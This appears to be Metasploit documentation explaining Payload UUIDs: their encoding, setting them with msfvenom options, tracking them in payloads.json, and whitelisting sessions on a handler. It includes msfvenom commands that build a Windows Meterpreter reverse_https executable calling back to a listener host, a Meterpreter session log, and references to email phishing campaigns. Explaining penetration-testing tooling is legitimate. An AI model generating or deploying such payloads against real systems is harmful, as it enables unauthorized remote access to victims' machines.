In mid-2015, a new feature was added to many HTTP and TCP Metasploit payloads: Payload UUIDs. A Payload UUID is a 16-byte value that encodes an 8-byte identifier, a 1-byte architecture ID, a 1-byte platform ID, a 4-byte timestamp, and two additional bytes for obfuscation. The source code comments go into more detail.

In the case of HTTP payloads, the 16-byte UUID value is encoded in base64url format resulting in a 22-byte string. This value is always placed in the beginning of the URL used by the payload. TCP payloads send the 16-byte raw value over the socket once a connection is established.

The goal of Payload UUIDs is three-fold:

• Uniquely identify a generated payload. This is important when running social engineering campaigns to identify what specific payload a target executed. If an email campaign resulted in one user forwarding a payload to another user before it was executed, this can be determined by reviewing the UUID in the session listing.
• Drop connections that do not match known UUIDs. This allows a listener to be setup that only allows known sessions to connect, which is important when running internet-facing payload handlers.
• Enable universal handlers. The embedded platform and architecture identifiers allow the listener to determine what type of stage to send back to a stager. This will eventually allow for a single listener to be used with multiple exploits, even those that target different platforms and architectures.

Specifying the UUID

Although Payload UUIDs are normally random, it is possible to specify a static UUID value using the PayloadUUIDRaw option. This option takes a 8-byte hex string, such as "0011223344556677". For example:

$ ./msfvenom -p windows/meterpreter/reverse_https LHOST=example.com LPORT=4444 PayloadUUIDRaw=4444444444444444 -f exe -o payload.exe

Instead of specifying a static UUID as the raw 8-byte value, it is also possible to derive a static UUID using an arbitrary-length string using the PayloadUUIDSeed option:

$ ./msfvenom -p windows/meterpreter/reverse_https LHOST=example.com LPORT=4444 PayloadUUIDSeed=ShellsAreDelicious -f exe -o payload.exe

Tracking the UUID

Payload UUIDs are enabled by default, but are not tracked unless the PayloadUUIDTracking option is set to true. Setting this option causes a new entry to be created in ~/.msf4/payloads.json when any UUID-enabled payload is generated. It is also possible to create a local-only name for a given UUID using the PayloadUUIDName. The example below will create a new registered payload with a custom name:

$ ./msfvenom -p windows/meterpreter/reverse_https LHOST=example.com LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=EmailCampaign20150101 -f exe -o payload.exe

$ cat ~/.msf4/payloads.json
{
  "68017d72958c40f6": {
    "arch": "x86",
    "platform": "windows",
    "timestamp": 1435277049,
    "payload": "payload/windows/meterpreter/reverse_https",
    "datastore": {"AutoLoadStdapi":true,"AutoRunScript":"","AutoSystemInfo":true,"AutoVerifySession":true,"AutoVerifySessionTimeout":30,"EXITFUNC":"process","EnableStageEncoding":false,"EnableUnicodeEncoding":false,"HttpUnknownRequestResponse":"\u003Chtml\u003E\u003Cbody\u003E\u003Ch1\u003EIt works!\u003C/h1\u003E\u003C/body\u003E\u003C/html\u003E","IgnoreUnknownPayloads":false,"InitialAutoRunScript":"","LHOST":"127.1.1.1","LPORT":4444,"MeterpreterServerName":"Apache","MeterpreterUserAgent":"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)","OverrideRequestHost":false,"PAYLOADUUIDNAME":"EmailCampaign20150101","PayloadProxyPort":0,"PayloadProxyType":"HTTP","PayloadUUIDTracking":true,"PrependMigrate":false,"ReverseListenerBindPort":0,"SessionCommunicationTimeout":300,"SessionExpirationTimeout":604800,"SessionRetryTotal":3600,"SessionRetryWait":10,"StageEncoderSaveRegisters":"","StageEncodingFallback":true,"StagerRetryCount":10,"StagerURILength":0,"StagerVerifySSLCert":false,"VERBOSE":false},
    "name": "EmailCampaign20150101",
    "urls": [
  "/aAF9cpWMQPb-3f_cq1FoJA040uMw26kAnvroJdztpVzDrNpqbpT7t3DyYy0cR2TyQE87XxHgIOKiYwP2FJNlNjrBXWQNiGWtzUK1ueJ0DyFjCXmULVo_gGrvi"
]
}
}

Once this payload is launched, the output of the sessions -l -v command will show the UUID, whether or not the UUID is registered, and any locally-assigned name of the UUID:

msf exploit(handler) > run -j
[*] 127.0.0.1:36235 (UUID: 68017d72958c40f6/x86=1/windows=1/2015-06-26T00:04:09Z) Staging Native payload ...
[*] Meterpreter session 1 opened (127.1.1.1:4444 -> 127.0.0.1:36235) at 2015-06-25 17:12:40 -0700

msf exploit(handler) > sessions  -l -v

Active sessions
===============

  Session ID: 1
        Type: meterpreter x86/win32
        Info: fang\hdm @ fang
      Tunnel: 127.1.1.1:4444 -> 127.0.0.1:36235 (127.0.0.1)
         Via: exploit/multi/handler
        UUID: 68017d72958c40f6/x86=1/windows=1/2015-06-26T00:04:09Z
   MachineID: 1fd541d2c4278e2d0c1b02f17f142f2b
     CheckIn: 1s ago @ 2015-06-25 17:12:47 -0700
  Registered: Yes - Name="EmailCampaign20150101"

Whitelisting UUIDs

The ~/.msf4/payloads.json file can also be used as a whitelist. This makes it possible to run a listener on a common port on a public IP address without the Metasploit Framework instance being flooded with bogus sessions. To enable whitelisting, set the IgnoreUnknownPayloads option to true in the handler instance. Any incoming request that does match both a registered Payload UUID and one of the pre-generated URLs will be ignored. The payloads.json file can be copied between Metasploit Framework instances and even hand-edited while the framework is running.